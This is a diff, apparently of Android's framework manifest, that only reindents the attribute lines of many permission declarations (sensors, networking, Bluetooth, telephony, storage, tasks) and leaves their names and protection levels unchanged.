     <!-- Used for permissions that are associated with accessing
          camera or capturing images/video from the device. -->
     <permission-group android:name="android.permission-group.SENSORS"
-                      android:icon="@drawable/perm_group_sensors"
-                      android:label="@string/permgrouplab_sensors"
-                      android:description="@string/permgroupdesc_sensors"
-                      android:priority="800" />
+        android:icon="@drawable/perm_group_sensors"
+        android:label="@string/permgrouplab_sensors"
+        android:description="@string/permgroupdesc_sensors"
+        android:priority="800" />
 
     <!-- Allows an application to access data from sensors that the user uses to
          measure what is happening inside his/her body, such as heart rate.
          <p>Protection level: dangerous -->
     <permission android:name="android.permission.BODY_SENSORS"
-                android:permissionGroup="android.permission-group.SENSORS"
-                android:label="@string/permlab_bodySensors"
-                android:description="@string/permdesc_bodySensors"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.SENSORS"
+        android:label="@string/permlab_bodySensors"
+        android:description="@string/permdesc_bodySensors"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an app to use fingerprint hardware.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.USE_FINGERPRINT"
-                android:permissionGroup="android.permission-group.SENSORS"
-                android:label="@string/permlab_useFingerprint"
-                android:description="@string/permdesc_useFingerprint"
-                android:protectionLevel="normal" />
+        android:permissionGroup="android.permission-group.SENSORS"
+        android:label="@string/permlab_useFingerprint"
+        android:description="@string/permdesc_useFingerprint"
+        android:protectionLevel="normal" />
 
     <!-- ====================================================================== -->
     <!-- REMOVED PERMISSIONS                                                    -->
@@ -1033,78 +1033,78 @@
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.READ_PROFILE"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.WRITE_PROFILE"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.READ_SOCIAL_STREAM"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.WRITE_SOCIAL_STREAM"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.READ_USER_DICTIONARY"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.WRITE_USER_DICTIONARY"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.WRITE_SMS"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="com.android.browser.permission.WRITE_HISTORY_BOOKMARKS"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.AUTHENTICATE_ACCOUNTS"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.MANAGE_ACCOUNTS"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.USE_CREDENTIALS"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.SUBSCRIBED_FEEDS_READ"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.SUBSCRIBED_FEEDS_WRITE"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- @hide We need to keep this around for backwards compatibility -->
     <permission android:name="android.permission.FLASHLIGHT"
-                android:protectionLevel="normal"
-                android:permissionFlags="removed"/>
+        android:protectionLevel="normal"
+        android:permissionFlags="removed"/>
 
     <!-- ====================================================================== -->
     <!-- INSTALL PERMISSIONS                                                    -->
@@ -1119,37 +1119,37 @@
          to handle the respond-via-message action during incoming calls.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SEND_RESPOND_VIA_MESSAGE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to send SMS to premium shortcodes without user permission.
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.SEND_SMS_NO_CONFIRMATION"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to filter carrier specific sms.
          @hide -->
     <permission android:name="android.permission.CARRIER_FILTER_SMS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to receive emergency cell broadcast messages,
          to record or display them to the user.
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.RECEIVE_EMERGENCY_BROADCAST"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to monitor incoming Bluetooth MAP messages, to record
          or perform processing on them. -->
     <!-- @hide -->
     <permission android:name="android.permission.RECEIVE_BLUETOOTH_MAP"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to execute contacts directory search.
          This should only be used by ContactsProvider.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.BIND_DIRECTORY_SEARCH"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to modify cell broadcasts through the content provider.
          <p>Not for use by third-party applications. -->
@@ -1165,9 +1165,9 @@
          <p>Protection level: normal
     -->
     <permission android:name="com.android.alarm.permission.SET_ALARM"
-                android:label="@string/permlab_setAlarm"
-                android:description="@string/permdesc_setAlarm"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_setAlarm"
+        android:description="@string/permdesc_setAlarm"
+        android:protectionLevel="normal" />
 
     <!-- =============================================================== -->
     <!-- Permissions for accessing the user voicemail                    -->
@@ -1178,13 +1178,13 @@
         <p>Protection level: signature|privileged
     -->
     <permission android:name="com.android.voicemail.permission.WRITE_VOICEMAIL"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to read voicemails in the system.
          <p>Protection level: signature|privileged
     -->
     <permission android:name="com.android.voicemail.permission.READ_VOICEMAIL"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- ======================================= -->
     <!-- Permissions for accessing location info -->
@@ -1195,26 +1195,26 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"
-                android:label="@string/permlab_accessLocationExtraCommands"
-                android:description="@string/permdesc_accessLocationExtraCommands"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_accessLocationExtraCommands"
+        android:description="@string/permdesc_accessLocationExtraCommands"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows an application to install a location provider into the Location Manager.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.INSTALL_LOCATION_PROVIDER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows HDMI-CEC service to access device and configuration files.
          This should only be used by HDMI-CEC service.
     -->
     <permission android:name="android.permission.HDMI_CEC"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to use location features in hardware,
          such as the geofencing api.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.LOCATION_HARDWARE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
     <uses-permission android:name="android.permission.LOCATION_HARDWARE"/>
 
     <!-- @SystemApi Allows an application to create mock location providers for testing.
@@ -1222,7 +1222,7 @@
          @hide
     -->
     <permission android:name="android.permission.ACCESS_MOCK_LOCATION"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- ======================================= -->
     <!-- Permissions for accessing networks -->
@@ -1233,86 +1233,86 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.INTERNET"
-                android:description="@string/permdesc_createNetworkSockets"
-                android:label="@string/permlab_createNetworkSockets"
-                android:protectionLevel="normal|ephemeral" />
+        android:description="@string/permdesc_createNetworkSockets"
+        android:label="@string/permlab_createNetworkSockets"
+        android:protectionLevel="normal|ephemeral" />
 
     <!-- Allows applications to access information about networks.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.ACCESS_NETWORK_STATE"
-                android:description="@string/permdesc_accessNetworkState"
-                android:label="@string/permlab_accessNetworkState"
-                android:protectionLevel="normal|ephemeral" />
+        android:description="@string/permdesc_accessNetworkState"
+        android:label="@string/permlab_accessNetworkState"
+        android:protectionLevel="normal|ephemeral" />
 
     <!-- Allows applications to access information about Wi-Fi networks.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.ACCESS_WIFI_STATE"
-                android:description="@string/permdesc_accessWifiState"
-                android:label="@string/permlab_accessWifiState"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_accessWifiState"
+        android:label="@string/permlab_accessWifiState"
+        android:protectionLevel="normal" />
 
     <!-- Allows applications to change Wi-Fi connectivity state.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.CHANGE_WIFI_STATE"
-                android:description="@string/permdesc_changeWifiState"
-                android:label="@string/permlab_changeWifiState"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_changeWifiState"
+        android:label="@string/permlab_changeWifiState"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi @hide Allows applications to read Wi-Fi credential.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.READ_WIFI_CREDENTIAL"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows applications to change tether state and run
          tether carrier provisioning.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.TETHER_PRIVILEGED"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allow system apps to receive broadcast
          when a wifi network credential is changed.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.RECEIVE_WIFI_CREDENTIAL_CHANGE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to modify any wifi configuration, even if created
      by another application. Once reconfigured the original creator cannot make any further
      modifications.
      <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.OVERRIDE_WIFI_CONFIG"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @hide -->
     <permission android:name="android.permission.ACCESS_WIMAX_STATE"
-                android:description="@string/permdesc_accessWimaxState"
-                android:label="@string/permlab_accessWimaxState"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_accessWimaxState"
+        android:label="@string/permlab_accessWimaxState"
+        android:protectionLevel="normal" />
 
     <!-- @hide -->
     <permission android:name="android.permission.CHANGE_WIMAX_STATE"
-                android:description="@string/permdesc_changeWimaxState"
-                android:label="@string/permlab_changeWimaxState"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_changeWimaxState"
+        android:label="@string/permlab_changeWimaxState"
+        android:protectionLevel="normal" />
 
     <!-- Allows applications to act as network scorers. @hide @SystemApi-->
     <permission android:name="android.permission.SCORE_NETWORKS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows applications to request network
          recommendations and scores from the NetworkScoreService.
          <p>Not for use by third-party applications. @hide -->
     <permission android:name="android.permission.REQUEST_NETWORK_SCORES"
-                android:protectionLevel="signature|setup" />
+        android:protectionLevel="signature|setup" />
 
     <!-- Allows network stack services (Connectivity and Wifi) to coordinate
          <p>Not for use by third-party or privileged applications.
          @hide This should only be used by Connectivity and Wifi Services.
     -->
     <permission android:name="android.permission.NETWORK_STACK"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows Settings and SystemUI to call methods in Networking services
          <p>Not for use by third-party or privileged applications.
@@ -1330,73 +1330,73 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.BLUETOOTH"
-                android:description="@string/permdesc_bluetooth"
-                android:label="@string/permlab_bluetooth"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_bluetooth"
+        android:label="@string/permlab_bluetooth"
+        android:protectionLevel="normal" />
 
     <!-- Allows applications to discover and pair bluetooth devices.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.BLUETOOTH_ADMIN"
-                android:description="@string/permdesc_bluetoothAdmin"
-                android:label="@string/permlab_bluetoothAdmin"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_bluetoothAdmin"
+        android:label="@string/permlab_bluetoothAdmin"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows applications to pair bluetooth devices without user interaction, and to
          allow or disallow phonebook access or message access.
          This is not available to third party applications. -->
     <permission android:name="android.permission.BLUETOOTH_PRIVILEGED"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Control access to email providers exclusively for Bluetooth
          @hide
     -->
     <permission android:name="android.permission.BLUETOOTH_MAP"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows bluetooth stack to access files
          @hide This should only be used by Bluetooth apk.
     -->
     <permission android:name="android.permission.BLUETOOTH_STACK"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows applications to perform I/O operations over NFC.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.NFC"
-                android:description="@string/permdesc_nfc"
-                android:label="@string/permlab_nfc"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_nfc"
+        android:label="@string/permlab_nfc"
+        android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows an internal user to use privileged ConnectivityManager APIs.
          @hide -->
     <permission android:name="android.permission.CONNECTIVITY_INTERNAL"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an internal user to use restricted Networks.
          @hide -->
     <permission android:name="android.permission.CONNECTIVITY_USE_RESTRICTED_NETWORKS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows a system application to access hardware packet offload capabilities.
          @hide -->
     <permission android:name="android.permission.PACKET_KEEPALIVE_OFFLOAD"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi
          @hide -->
     <permission android:name="android.permission.RECEIVE_DATA_ACTIVITY_CHANGE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows access to the loop radio (Android@Home mesh network) device.
          @hide -->
     <permission android:name="android.permission.LOOP_RADIO"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows sending and receiving handover transfer status from Wifi and Bluetooth
          @hide -->
     <permission android:name="android.permission.NFC_HANDOVER_STATUS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- ================================== -->
     <!-- Permissions for accessing accounts -->
@@ -1415,16 +1415,16 @@
     <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.GET_ACCOUNTS"
-                android:permissionGroup="android.permission-group.CONTACTS"
-                android:protectionLevel="dangerous"
-                android:description="@string/permdesc_getAccounts"
-                android:label="@string/permlab_getAccounts" />
+        android:permissionGroup="android.permission-group.CONTACTS"
+        android:protectionLevel="dangerous"
+        android:description="@string/permdesc_getAccounts"
+        android:label="@string/permlab_getAccounts" />
     <uses-permission android:name="android.permission.GET_ACCOUNTS"/>
 
     <!-- @SystemApi Allows applications to call into AccountAuthenticators.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.ACCOUNT_MANAGER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- ================================== -->
     <!-- Permissions for accessing hardware that may effect battery life-->
@@ -1435,34 +1435,34 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE"
-                android:description="@string/permdesc_changeWifiMulticastState"
-                android:label="@string/permlab_changeWifiMulticastState"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_changeWifiMulticastState"
+        android:label="@string/permlab_changeWifiMulticastState"
+        android:protectionLevel="normal" />
 
     <!-- Allows access to the vibrator.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.VIBRATE"
-                android:label="@string/permlab_vibrate"
-                android:description="@string/permdesc_vibrate"
-                android:protectionLevel="normal|ephemeral" />
+        android:label="@string/permlab_vibrate"
+        android:description="@string/permdesc_vibrate"
+        android:protectionLevel="normal|ephemeral" />
 
     <!-- Allows using PowerManager WakeLocks to keep processor from sleeping or screen
          from dimming.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.WAKE_LOCK"
-                android:label="@string/permlab_wakeLock"
-                android:description="@string/permdesc_wakeLock"
-                android:protectionLevel="normal|ephemeral" />
+        android:label="@string/permlab_wakeLock"
+        android:description="@string/permdesc_wakeLock"
+        android:protectionLevel="normal|ephemeral" />
 
     <!-- Allows using the device's IR transmitter, if available.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.TRANSMIT_IR"
-                android:label="@string/permlab_transmitIr"
-                android:description="@string/permdesc_transmitIr"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_transmitIr"
+        android:description="@string/permdesc_transmitIr"
+        android:protectionLevel="normal" />
 
     <!-- ==================================================== -->
     <!-- Permissions related to changing audio settings   -->
@@ -1473,9 +1473,9 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"
-                android:label="@string/permlab_modifyAudioSettings"
-                android:description="@string/permdesc_modifyAudioSettings"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_modifyAudioSettings"
+        android:description="@string/permdesc_modifyAudioSettings"
+        android:protectionLevel="normal" />
 
     <!-- ================================== -->
     <!-- Permissions for accessing hardware -->
@@ -1485,83 +1485,83 @@
     <!-- @SystemApi Allows an application to manage preferences and permissions for USB devices
          @hide -->
     <permission android:name="android.permission.MANAGE_USB"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to access the MTP USB kernel driver.
          For use only by the device side MTP implementation.
          @hide -->
     <permission android:name="android.permission.ACCESS_MTP"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows access to hardware peripherals.  Intended only for hardware testing.
          <p>Not for use by third-party applications.
          @hide
     -->
     <permission android:name="android.permission.HARDWARE_TEST"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows access to FM
          @hide This is not a third-party API (intended for system apps).-->
     <permission android:name="android.permission.ACCESS_FM_RADIO"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows access to configure network interfaces, configure/use IPSec, etc.
          @hide -->
     <permission android:name="android.permission.NET_ADMIN"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows registration for remote audio playback. @hide -->
     <permission android:name="android.permission.REMOTE_AUDIO_PLAYBACK"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows TvInputService to access underlying TV input hardware such as
          built-in tuners and HDMI-in's.
          @hide This should only be used by OEM's TvInputService's.
     -->
     <permission android:name="android.permission.TV_INPUT_HARDWARE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows to capture a frame of TV input hardware such as
          built-in tuners and HDMI-in's.
          @hide <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.CAPTURE_TV_INPUT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @hide Allows TvInputService to access DVB device.
    <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.DVB_DEVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows reading and enabling/disabling the OEM unlock allowed by carrier state
          @hide <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.MANAGE_CARRIER_OEM_UNLOCK_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows reading and enabling/disabling the OEM unlock allowed by user state
          @hide <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.MANAGE_USER_OEM_UNLOCK_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows reading the OEM unlock state
          @hide <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.READ_OEM_UNLOCK_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @hide Allows enabling/disabling OEM unlock
    <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.OEM_UNLOCK_STATE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows querying state of PersistentDataBlock
    <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.ACCESS_PDB_STATE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows system update service to notify device owner about pending updates.
    <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.NOTIFY_PENDING_SYSTEM_UPDATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- =========================================== -->
     <!-- Permissions associated with camera and image capture -->
@@ -1572,12 +1572,12 @@
          a camera is in use by an application.
          @hide -->
     <permission android:name="android.permission.CAMERA_DISABLE_TRANSMIT_LED"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows sending the camera service notifications about system-wide events.
         @hide -->
     <permission android:name="android.permission.CAMERA_SEND_SYSTEM_EVENTS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- =========================================== -->
     <!-- Permissions associated with telephony state -->
@@ -1588,58 +1588,58 @@
          Does not include placing calls.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.MODIFY_PHONE_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows read only access to precise phone state.
          @hide Pending API council approval -->
     <permission android:name="android.permission.READ_PRECISE_PHONE_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows read access to privileged phone state.
          @hide Used internally. -->
     <permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Protects the ability to register any PhoneAccount with
          PhoneAccount#CAPABILITY_SIM_SUBSCRIPTION. This capability indicates that the PhoneAccount
          corresponds to a device SIM.
          @hide -->
     <permission android:name="android.permission.REGISTER_SIM_SUBSCRIPTION"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Protects the ability to register any PhoneAccount with
          PhoneAccount#CAPABILITY_CALL_PROVIDER.
          @hide -->
     <permission android:name="android.permission.REGISTER_CALL_PROVIDER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Protects the ability to register any PhoneAccount with
          PhoneAccount#CAPABILITY_CONNECTION_MANAGER
          @hide -->
     <permission android:name="android.permission.REGISTER_CONNECTION_MANAGER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link android.telecom.InCallService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature|privileged
     -->
     <permission android:name="android.permission.BIND_INCALL_SERVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a link {@link android.telephony.VisualVoicemailService} to ensure that
          only the system can bind to it.
          <p>Protection level: signature|privileged
     -->
     <permission
-            android:name="android.permission.BIND_VISUAL_VOICEMAIL_SERVICE"
-            android:protectionLevel="signature|privileged"/>
+      android:name="android.permission.BIND_VISUAL_VOICEMAIL_SERVICE"
+      android:protectionLevel="signature|privileged"/>
 
     <!-- Must be required by a {@link android.telecom.CallScreeningService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature|privileged
     -->
     <permission android:name="android.permission.BIND_SCREENING_SERVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link android.telecom.ConnectionService},
          to ensure that only the system can bind to it.
@@ -1648,24 +1648,24 @@
          @SystemApi
          @hide -->
     <permission android:name="android.permission.BIND_CONNECTION_SERVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link android.telecom.ConnectionService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature|privileged
     -->
     <permission android:name="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to control the in-call experience.
          @hide -->
     <permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to receive STK related commands.
          @hide -->
     <permission android:name="android.permission.RECEIVE_STK_COMMANDS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by an ImsService to ensure that only the
          system can bind to it.
@@ -1674,7 +1674,7 @@
          @hide
     -->
     <permission android:name="android.permission.BIND_IMS_SERVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
 
     <!-- ================================== -->
@@ -1685,7 +1685,7 @@
     <!-- @SystemApi Allows an application to write to internal media storage
          @hide  -->
     <permission android:name="android.permission.WRITE_MEDIA_STORAGE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to manage access to documents, usually as part
          of a document picker.
@@ -1695,21 +1695,21 @@
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.MANAGE_DOCUMENTS"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @hide Allows an application to cache content.
          <p>Not for use by third-party applications.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.CACHE_CONTENT"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi @hide
          Allows an application to aggressively allocate disk space.
          <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.ALLOCATE_AGGRESSIVE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- ================================== -->
     <!-- Permissions for screenlock         -->
@@ -1720,9 +1720,9 @@
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.DISABLE_KEYGUARD"
-                android:description="@string/permdesc_disableKeyguard"
-                android:label="@string/permlab_disableKeyguard"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_disableKeyguard"
+        android:label="@string/permlab_disableKeyguard"
+        android:protectionLevel="normal" />
 
     <!-- ================================== -->
     <!-- Permissions to access other installed applications  -->
@@ -1731,9 +1731,9 @@
 
     <!-- @deprecated No longer enforced. -->
     <permission android:name="android.permission.GET_TASKS"
-                android:label="@string/permlab_getTasks"
-                android:description="@string/permdesc_getTasks"
-                android:protectionLevel="normal" />
+        android:label="@string/permlab_getTasks"
+        android:description="@string/permdesc_getTasks"
+        android:protectionLevel="normal" />
 
     <!-- New version of GET_TASKS that apps can request, since GET_TASKS doesn't really
          give access to task information.  We need this new one because there are
@@ -1746,32 +1746,32 @@
          @hide
          @SystemApi -->
     <permission android:name="android.permission.REAL_GET_TASKS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to start a task from a ActivityManager#RecentTaskInfo.
          @hide -->
     <permission android:name="android.permission.START_TASKS_FROM_RECENTS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
